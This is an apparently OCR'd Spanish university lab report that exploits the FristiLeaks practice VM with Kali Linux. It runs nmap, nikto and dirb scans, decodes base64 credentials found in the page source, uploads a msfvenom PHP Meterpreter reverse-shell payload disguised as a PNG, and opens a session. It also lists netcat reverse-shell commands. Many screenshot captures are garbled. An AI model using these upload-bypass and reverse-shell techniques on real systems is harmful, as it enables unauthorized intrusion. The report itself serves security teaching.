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1. INTRODUCCION

Dominar y adquirir habilidades como la capacidad de explotar sistemas
como FristiLeaks mediante el uso de Kali Linux en un ambiente controlado es
fundamental para mejorar y poner en practica los conocimientos sobre hacking
que se ha estado aprendiendo en el transcurso de la asignatura, estas son
competencias que se deben tener, no solo para las clases de Seguridad y
Auditoria de Redes, sino, para la vida profesional.

En el presente documento se deberan aplicar los conocimientos adquiridos
en las clases, sin embargo, en caso de conseguir errores 0 encontrarnos con
procesos aun no vistos, debemos buscar las herramientas para descifrar la
manera de alcanzar nuestros objetivos y lograr culminar con éxito el laboratorio

propuesto por el docente.

SEGURIDAD Y
AUDITORIA DE REDES

llustracion 1. Seguridad y Auditoria de Redes.



2. OBJETIVO GENERAL

Explotar FristiLeaks haciendo uso de Kali Linux mediante los conocimientos

adquiridos en clase.

2.1 OBJETIVOS ESPECIFICOS

e Aplicar el conocimiento en clases para el desarrollo de la problematica
propuesta.
e Documentar detalladamente la solucién de cada paso.

e Practicar todo lo aprendido.

3. PLANTEAMIENTO DEL PROBLEMA

Se nos ha pedido explotar FristiLeaks, esto para poner en practica lo
aprendido en clase y reforzar nuestro dominio del tema, ademas de esto, se
deberan usar las herramientas de Kali Linux para llevar a cabo nuestro objetivo, si
en algun momento se llega a presentar problemas con los exploits o en efecto, con
su acceso, se deberan de documentar todos los hallazgos con la finalidad de tener
un soporte y buenas practicas.

Factores importantes a tener en cuenta es que debemos de obtener las
credenciales del acceso a la pagina que conseguiremos en el navegador cuando

trabajemos con FristiLeaks.



4. DESARROLLO

Se le da doble clic al archivo compartido por el docente Sandoval para que
automaticamente nos aparezca una ventana emergente en VirtualBox y asi poder

continuar con la instalacion de FristiLeaks

~ Haoy

W Fristileaks_1.3 8/09,/2025 10:42a.m. Open Virtualizatio... 683.980 KB

llustracion 2.Archivo de FristiLeaks.

En la configuracion de esta maquina virtual vamos a hacer unos cambios, el

primero es cambiar el controlador grafico como se muestra a continuacion:

o FristiLeaks 1 - Settings — 0 %
Basic M Search settings £
_- General Pantalla
Pantalla Pantalla remota Grabacion
# | Ssistema
Memoria de video: | 1HBMB <
El Pantalla
0MB 128 MB

iJ Almacenamiento Nuimero de monitares: ' 15
n 1 8
(0 Audio

_ Factor de escalado: Todos los nienitcres ' 100% =

=1

" Red 100% 25%

‘ ':':. Puertos serie Controlador grafico: [VMSVGA
. Caracteristicas extendidas: Egox:\{fég leracion 3D
(7 USB OoX
& VMSVGA
—
Carpetas compartidas

| Interfaz de usuario

llustracion 3. Cambiar controlador grafico.

En el apartado de red modificamos para que sea Red NAT, en modo
promiscuo permitimos todo y una observacion importante es que la MAC se debe

cambiar por 080027A5A676.



MAC original.

{2 Fristileaks 1 - Settings - a X
Basic M Search settings &
- General Red
B sicte Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
! ma
. Habilitar adaptador de red
-| Pantalla
T Conectado a: Red NAT ~
t] Almacenamiento Nombre: SEMESTRE9-2025-1 v
<D’| Audio Tipo de adaptador: Intel PRO/1000 MT Desktop (82540EM) ~
Modo promiscuo: Permitir todo v
|:]'_-| Red —
Direccion MAC: 0800274%480E &
S Puertos serie Cable conectado

llustracion 4. MAC original.

Al cambiar la MAC se deberia de visualizar asi:

'k.-f FristiLeaks 1 - Settings - (m] X
Basic M Search settings &
- General Red
B siste Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
W Sistema
i Habtulitar adaptador de red
-‘ Pantalla
I Conectado a: Red NAT ~
&J Almacenamiento Nombre: SEMESTRE9-2025-1 v
| | (DJ Audio Tipo de adaptador.  Intel PRO/T000 MT Deskiop (82540EM)
Mode promiscue: Denegar ~
E]'_J Red
1 Direccion MAC: Q8G027A3A67E :
& Puertos serie Cable conectado

llustracion 5. MAC cambiada.

Y luego de ello podemos arrancar sin problema a FristiLeaks.



Fristileaks 1.3 vulnerable UM by ArBxA.
hoal: get root (uid B) and read the flag file

hanks to dgi and barrebas for testing!

IP address:192.168.16.18
localhost login: _

llustracion 6. Arranque de FristiLeaks.

Nuestro siguiente paso es ingresar a Kali, desde donde estaremos
realizando nuestros ataques.

Debemos tener presente que siempre antes de iniciar con el desarrollo de
nuestros laboratorios, debemos verificar y conocer las direcciones ip de cada

maquina, es por ello que mediante el comando ifconfig vamos a conocer la ip

asignada a Kali.

bthd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.160.10.4 netmask 255.255.255.0 broadcast 192.160.10.255
inet6 fe80::b7d2:f304:d565:bb87 prefixlen 64 scopeid @=20<link>
ether 08:00:27:b4:al:05 txqueuelen 1000 (Ethernet)

RX packets 5 bytes 1360 (1.3 KiB)
RX errors @ dropped @ overruns @ frame @

TX packets 30 bytes 3784 (3.6 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

llustracion 7. IP Kali.

Ahora tomamos la direccién que pudimos evidenciar cuando ingresamos a

FristiLeaks y la buscamos para observar qué podemos conseguir alli.



ms ¢« Kali NetHunter Exploit-DB

llustracion 8. Pagina de FristiLeaks.

Nuestro siguiente paso es utilizar el comando nmap -sC -A ip_victima,
esto para realizar un escaneo de scrips y poder analizar si encontramos

informacion que nos sea util.
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tual NIC)
st 1 open and 1 closed port

matches for
1 hop

TRACEROUTE
HOP RTT ADDR
1 1.24 ms 192.160.10.10

llustracion 9. Escaneo de scripts.

Como podemos apreciar en la imagen anterior, conseguimos unas rutas
que debemos de guardar como hallazgos, para luego comprobar si nos llevan a

otro lugar donde podamos adquirir informacion importante.

4.1HALLAZGO CON RUTA /cola

I X

5  192160.10.10/cola/

<« C @ O A& 192.160

Kali Linux # Kali Tools « KaliDocs 3 KaliForums e\ Kali Ne|

YOU WERE LOOKING ™

.

memegenerator.net

llustracion 10. Hallazgo con /cola.
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4.2HALLAZGO CON RUTA /sisi

S emEPOYBE-|1 2 3 4|

B | 192.160.10.10/sisi/ . e

&« C @ QO A& 192.160.10.10

Kali Linux #8 Kali Tools <« KaliDocs ¥ KaliForums e Kali Net

llustracién 11. Hallazgo con /sisi.

4.3HALLAZGO CON RUTA /beer

A eomPOE- |1 2 3 4|
B  192.160.10.10/beer/ X +

= C o O A& 192.160.10.10

KaliLinux # KaliTools ¢ KaliDocs ¥ KaliForums & Kali NetHu

THIS IS NOT'THE

- ~ o~ »
YOU WERE LOOKING ™
.

memegenerator.net

llustracion 12. Hallazgo con /beer.
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Ahora vamos a tratar de acercarnos y ver un poco mas si conseguimos
alguna carpeta o informacion adicional, para ello vamos a utilizar el comando
nikto -h ip_victima.

/home/kali

32.160.10.10

, mtime: Tue Nov 17 £51h

loper.mozilla.org/en-US/docs/Web

ar is
type.

.i% returned a non- bidden or redire HTTP code
a non- bidden or redire HTTP code
urned a non-forbidden or redire HTTP code

es which should be manually vi - eloper.moz

nch.
4 is the EOL for the

Methods: GET, HEAD
ive which rul XST. g asp.org/ww-community

: End of Life products without support.
ing found.

found. : https wa . vntweb.co
- file found. This file contains the
ind 16 item( ported on remote host
conds )

llustracion 13. Busqueda de informacion adicional.

Como se puede observar en la imagen superior, conseguimos una ruta
valiosa sobre imagenes, ahora vamos a dirigirnos al navegador para observar qué

podemos conseguir. El siguiente fue el resultado obtenido:



14

S EmPoE- |

(=] Index of fimages * +

< C @ O & 192160.10.10 r @ & @

Kali Linux # KaliTools <« KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Index of /images

Name Last modified Size Description

« Parent Directory .
W 3037440jpg  25-Nov-2015 03:50 105K
keep-calm.png 17-Nov-2015 12:20 34K

llustracion 14. Hallazgo de archivos.

Lo siguiente es crear una carpeta en el escritorio de Kali, donde vamos a

guardar unos archivos. Para crear la carpeta lo hacemos mediante el comando

mkdir nombre_carpeta

/home/kali/Desktop
mondongo

/home/kali/Desktop

llustracion 15. Creacion de carpeta.
Luego de crear la carpeta, le escalamos privilegios.
Ingresamos a la carpeta y creamos un archivo para escribir un diccionario.

/home/kali/Desktop
mondongo

/home/kali/Desktop/mondongo
dicciomario.txt

llustracion 16. Abrimos el archivo del diccionario.

En el diccionario escribimos posibles credenciales



GNU nano 8.4

adminl

admin

user

llustracion 17. Posibles credenciales.

Ahora vamos a intentar realizar un ataque en base al diccionario que
creamos hace un momento, para ello utilizamos el siguiente comando dir

http://192.160.10.10 diccionario.txt

/home/kali/Desktop/mondongo
http://192.160.10.10 diccionario.txt

DIRB v2.22
By The Dark Raver

START_TIME: Mon Sep 8 15:21:09 2025
URL_BASE: http://192.160.10.10/
WORDLIST_FILES: diccionario.txt

GENERATED WORDS: 5

—— Scanning URL: http://192.160.10.10/ ——
—> DIRECTORY: http://192.160.10.10/fristi/

—— Entering directory: http://192.160.10.10/fristi/ —

END_TIME: Mon Sep 8 15:21:09 2025
DOWNLOADED: 1@ - FOUND: ©

llustracion 18. Buscamos url.

Cuando ingresamos al buscador la url que se encuentra sefialada en la

imagen superior, nos lleva a una pagina de login.

15


http://192.160.10.10/
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192.160.10.10/fristi/

O @ 192.160.10.10

s N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Welcome to #fristileaks admin portal

Member Login
Username :

Password :

llustracién 19. Login del sitio.

Nuestra funcion ahora es lograr acceder al sitio con las credenciales
correctas.
Vamos a ingresar a ver el codigo de esta pagina, por lo que, damos clic

derecho y luego view page source.

liDocs & Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

llustracion 20. Posible usuario.
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Analizamos todo el contenido de esta pestafia en busca de hallazgos

valiosos que nos ayuden a descifrar las credenciales que estamos necesitando.

En el rectangulo rojo podemos apreciar que conseguimos un posible

usuario, ademas, analizando el contenido mas a detalle, parece que también hay

imagenes.

El mensaje parece estar cifrado en Base64, por lo que vamos a buscar una

pagina que nos ayude a desencriptarlo.

Input Base64 @

Z2/WX11aD L16ALG]L0g5SqSXUGTWY /Syq+UBUPLNGUReLSENYQD | T]+gUDC+QpGych
yMrfnrPUL2qnC+Ucad+g6ELINSX16/1/6BtvVEQzFSYM2ILhyMLz4sNNtp/pSkgl
VmSz9EQYbzbI/FSycgVSzZiXDNNS4ciCni+kLRNgizXThUGOhEKs02k5pGyBaaLy

SIVSKC5Zv4+XH36vQzb16Vatarb6EMyRaL Lp+Bbhy31k8SEb]gpUNSHV]HXInC2Fg
7404sdLPWImMuUDLUASpdESKSVTSGLqgixnfX88tu/PZy7VIHXIMC21HI \WvBBTfdZbEWs

300Z07k3y+pQIrnEG4 INOCOIUNY5dqxrhkeIZ| WdNwa T nVEAOUNISWDbGUMYREZT2B+1wDh++F 1

3K/U+Z2uF INWNCcMmhLZUe2v6n/dAWG+mLNIKG EcKsMJ1606+ecHBdvOUU4PNKkqD12rGuisS8HK

ul9iMrFG9gga/VTB8qORLUSTqQF7fYU7tgsn/4 hV6aiilscz1GrGvGTIlsLLhiPbnh6KnLDU12q
mD+BcKQ8nunpVcZ21Rj7erEzOWqoZ +5IRW10XNB3Z/vBMWu LSTY Im+hDLkcIAtuHEUZU/

191867X34

rPtAG1mLi0ZrgX6gu37alukRkVay IRFqpk+9HNKHB5hNoc TKC4P31Vebhd8fy /
VzOTCkgeBWlrrFhe

EPAMjO3SSys 7XVF+qnT5UCmT9+Ss//
TyyOLUBKWOGLA59ZKb6US10IZHjAPSD5AGAL3IEGBCSASCLH

AHgRYdAECJHAHjRIwCEyBEAXuQIACQyEIAxOQLAiwadEwoAPAiRdekSMAngRAF?kCAAvchAFz
k

CwIscAeBFjgDwIkcAe JEjALZIEQBe5AGAL3IEGBCSASCLHAHGRYAASPNO/
QNa7zikigtycQAAAABIR
USErkJggg==

Import from file Save as... Copy to clipboard

Output PNG

Chain with...

keKkeKKekKKeKkEkkEk

Save as... Copy to clipboard

llustracién 21. Desencriptando el mensaje.

Como podemos apreciar en la imagen anterior, conseguimos una posible

contrasefa para el login de la pagina.

POSIBLE USUARIO: eezeepz
POSIBLE CONTRASERA: keKhekKekKekkEkkEk

llustracion 22. Posible credencial.

Ingresamos a la pagina e intentamos acceder.
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Welcome to #fristileaks admin portal

Member Login

Username : |eezeepz |

Password : |keKheKKeKKeKkEKKEk \

[ Login ’

llustracion 23. Intento de ingreso con credenciales conseguidas.

En la siguiente imagen podemos apreciar que obtuvimos un exitoso acceso

td [-]

10/fristi/login_s

Google Hacking DB

Login successful

upload file

llustracion 24. Login exitoso.
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Vamos a observar qué podemos conseguir ahora que tenemos acceso, lo
primero que evidenciamos es un link para cargar una imagen, al darle clic nos

lleva a intentar cargar la imagen.

< C @ O & 1921

KaliLinux & Kali Tools + KaliDocs & Kali For

Select image to upload: _ _
Browse... | Mo file selected. | Upload Image |

llustracion 25. Posible carga de imagen.

Ahora vamos a guardar una imagen para posteriormente tratar de subirla,

en mi caso elegi nombrarla index.jpeg

Mombre: | index.jpeg

Carpeta personal 4« #Mkali ™ Desktop mondongo

Escritorio Nombre

llustracion 26. Guardando imagen en el equipo.

En el archivo cédigo.txt, vamos a poner el cddigo que habiamos utilizado

anteriormente para desencriptar la contraseia, y vamos a guardarlo alli.

/home/kali/Desktop/mondongo

codigo.txt

llustracion 27. ingreso a archivo nano.

En la siguiente imagen ya vamos a agregarle el contenido al archivo:
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Archivo Acciones Editar Vista Ayuda

GNU nano 8.4
ilVBORWOKGZoAAAANSUhEUgAAAWGAAABLCATAAAAQLUHGAAAAAXNSROIATr s4c6QAAAARNQUIBAACK
Jwv8YQUAAAAICEhZ cwAADsSMAAA7DAcdvgGQAAARSSURBVHhe7d1RdtsgEIVhr8sL8ngymmwmifkl
S01AQGYONDbO1//dwSQyTgdxz2t5+AcCHHAHgRY4ABCIHAHIRIwC8YBEAXUQIACIYBIAXOQLAL Xw
B4EWOAPA1RwB4KkSMAVMgRAF7kCAAvcgSAFzkCwIscAeBF jgDwIkcAeJEJALzIEQBe5AgALSke+f
me3yaP7/XP/5RUM2 jx71iMz1ZdqpguZHP1+zJ053b9+1gd/@TL2Wul15+RMpJg5tMTKkE1paH1VX1]
Zv7/d516qse@t9rWabUMsR1+WrOR172DbdWKgZS0tMPgGL8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMNIWgp1LSOw+oaXwomXXt fhL8e6W+LrNdDFujoQNI9XbKtHMpSUMN9BSeGf51bUcreW+VjNd
jJQjcelwepPCjLLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVZzZYnJIR7ROWHELFGv5NrDU
12gmC/1/7z2ZWXi1labli@alqjZdq5sqSxUgtWY7syq+ubUpINdOFeISENygbTf j+qDbc+QpG9ch
uvFQzVv5aM15L1yMrfnrPU12gmC+Ucqd+gbE1INsX16/1/6BtvvEQZzF5YM2ILhyMLz4sNNtp/pSkgl
04VajmwziEdZvmSz9E@YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy@0alq
11n+skSqGfOSIVsKC5Zv4+XH36vQzblOVOt9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXImC2Fg
tOH@drysrz404sdLPWImulDLUdSpdEsk5vT5GtqglxnfX88tu/PZy7ViHXImC21HI1WvBBfdZb6Ws
300Z0jk3y+pQ9fnEGATNOco9UnY5dgxrhk@JIZKezwdNwgfnv6AOUNIsWbEUMYR5zT2B+1wDh++F1
3K/U+z2uFJINWNcMmhLzUe2ven,/dAWG+mLNIKGWI9ECKsMI1606+ecH8dv@Uu4PnkgD12rGuiS8HK
ul9iMrrG9gqa/VTB8qORLUSTqF7fYU7tgsn/4+zfhVeaiilscz1GrGvGTIlsLLhiPbnh6KnLDU12q
mD+@cKQ8nunpVcZ21Rj7erEz@WqoZ+5IRW10XNB3Z/vBMWU1SfYm+hDLkcTAtuHEUZU/191867X34
rPtA61mLi@ZrgX6gu37alukRkVaylRfgpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkgeBWLlrrFhe
EPdMj03SSys7XVF+gmT5UcmT9+Ss// fyyOLU3kWoGLd59ZKb6Us10IZMjAPSb5AgAL3TEgBCc5ASCLH
AHgRY4AB8CIHAHIRIwC8YBEAXUQIAC9YBIAXOQLAL xwB4EWOAPA1RwWBAKSMAVMERAF7kCAAvCgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3TEgBc5ASCLHAHERY4ABPNY/ONa7z1ik1gtycQAAAABIR
USErkJggg—

llustracion 28. Contenido del archivo codigo.txt

El archivo que se cred como cddigo.txt se va a convertir en index.jpeg y al

hacer esto se va a cambiar la foto por la de la clave cifrada.

/home/kali/Desktop/mondongo
-d codigo.txt > index.jpeg

llustracién 29. Cifrar clave.

Se debe realizar un payload para php por lo cual usamos el siguiente
comando que se muestra en la imagen a continuacion.

/home/kali/Desktop/mondongo
-p php/meterpreter/reverse_tcp LHOST=192.160.10.4 LPORT=4444 -f raw -o semestre9.php
[-] No platform was selected, choosing Msf::Module::Platform:: PHP from the payload

[-]1 No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload

Payload size: 1113 bytes

Saved as: semestre9.ph

llustracion 30. Payload para php.
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Ahora se va a volver el archivo de semestre9.php con la extensién de
imagen png, quedando de la siguiente manera semestrep.php.png y esto dejando

2 archivos en la carpeta.

/home/kali/Desktop/mondongo

semestre9.php semestre9.php.png

llustracion 31. Nuevos archivos.

En la siguiente imagen podemos comprobar cémo esta quedando todo.

dores Ayuda

m Desktop mondongo

H = N @

codigo.ixt diccionario.txt index.jpeg semestre9.php  semestre9.php.png

llustracion 32. Visualizacion de archivos creados.

Ya con el archivo generado vamos a cargarlo en la pagina.

= 192.160.10.10/fristifupload.p’ X http://192.160.10.10/fristi/

< C @ O & 192.160.10.10

Kali Linux # KaliTools = KaliDocs & Kali Forums e Kali NetHunter

Select image to upload: _ _
|_ Browse... | semestred.php.png | Upload Image |

llustracién 33. Subida de archivo en tipo imagen.

Podemos entonces observar que la imagen efectivamente ya se encuentra

cargada.
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Kali Linux #5 Kali Tools # KaliDocs X KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

Uploading, please wait
The file has been uploaded to /uploads

llustracion 34. Imagen cargada.

Ahora ingresamos a la ruta de los uploads:

B  192.160.10.10/fristi/uploads/ X

%

Kali Linux # Kali Tools <« Kali Docs

llustracion 35. Ingresamos a uploads.

Buscamos el archivo que subimos en la ruta:

0 P 92.160.10.10/fristi/

0

c3 192.160.10.10

KaliLinux #& KaliTools = KaliDocs ¥ KaliForums e Kali NetHunter

llustraciéon 36. Busqueda de carga.

Buscamos un payload que nos pueda servir para explotar la

maquina.

Exploit-DB
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msf6 > search multi/handler

Matching Modules

Name Disclosure Date Rank Check Description
exploit/linux/local/apt_package_manager_persistence 1999-03-09 excellent APT Package Manager Persistence

exploit/android/local/janus 2017-07-31 manual Android Janus APK Signature bypass
auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
exploit/linux/local/bash_profile_persistence 1989-06-08 normal Bash Profile Persistence
exploit/linux/local/desktop_privilege_escalation 2014-08-07 X Desktop Linux Password Stealer and Privilege Escalation

\_ target: Linux x86 ) . .

\_ target: Linux x86_64
exploit/multiZhandler - Generic Payload Handler
exploit/windows/mssql/mssql_linkcrawler 2000-01-01 gr Microsoft SQL Server Database Link Crawling Command Execution
exploit/windows/browser/persits_xupload_traversal 2009-09-29 e Persits XUpload ActiveX MakeHttpRequest Directory Traversal
exploit/linux/local/yum_package_manager_persistence 2003-12-17 xcelle Yum Package Manager Persistence

FPORNOUSEWNRE S | &

s

llustracion 37. Buscando payload.

Nos damos cuenta que el que nos sirve es el numero 7, por lo que

procedemos a utilizar ese.

msf6 > use 7
Using configured payload generic/shell_reverse_tcp

llustracion 38. Seleccionando el payload util.

Ahora es importante saber qué nos hace falta para usar es payload, por lo

que procedemos a llenar la informacion que nos hace falta.

msf6 expioit( 1 ) >_options
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit( ) > set LHOST 192.160.10.4

LHOST = 192.160.10.4

msf6 exploit( ) > set payload php/meterpreter/reverse_tcp
load = php/meterpreter/reverse tc

llustracion 39. Configurando el payload.
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msf6 exploit( ) > exploit

Started reverse TCP handler on 192.160.10.4:4444

Explotamos:

msf6 exploit( ) > exploit
Started reverse TCP handler on 192.160.10.4:4444
Sending stage (40004 bytes) to 192.160.10.10
Meterpreter session 1 opened (192.160.10.4:4444 — 192.160.10.10:41770) at 2025-09-08 17:35:32 -0400

meterpreter > |

llustracion 40. Explotamos.

En la siguiente imagen se puede apreciar como efectivamente tenemos

acceso.

meterpreter > sysinfo
Computer : localhost.localdomain

0s : Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64

Meterpreter : php/linux
meterpreter > |

llustracion 41. Acceso exitoso.

5. CAPITULO 2 (CONSULTAS)

5.1 COMANDO UTILIZADO PARA LISTAR LOS CARACTERES DE UN

ARCHIVO.

wc -m archivo.txt

El comando anterior se utiliz apara listar los caracteres de un archivo en

Kali Linux.

5.2 COMANDOS UTILIZADOS EN NETCAT

o Conectarse a un servidor en un puerto especifico: nc <IP> <PUERTO>



Escuchar en un puerto (modo servidor): nc -l -p <PUERTO>
Enviar un archivo por red: nc -I -p 1234 > archivo_recibido.txt
Escaneo de puertos: nc -zv <IP> <puertos>

Crear una conexion reversa (reverse shell): nc -l -p 4444

25
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6. CONCLUSIONES

Finalmente, nos podemos dar cuenta de la importancia que tiene la
seguridad en el uso de diversos servicios, junto con importancia de adquirir solidos
conocimientos que luego puedan ser aplicables en el desarrollo de problemas a

los cuales nos podemos en algun punto ver expuestos.

Se pudo reconocer la importancia de conocer los entornos de trabajo como

Kali Linux y FristiLeaks para trabajar con una mejor discusion las penetraciones.

Este laboratorio no solo fe una practica, sino un ejercicio que logré retarme

para salir en busca de un objetivo principal.
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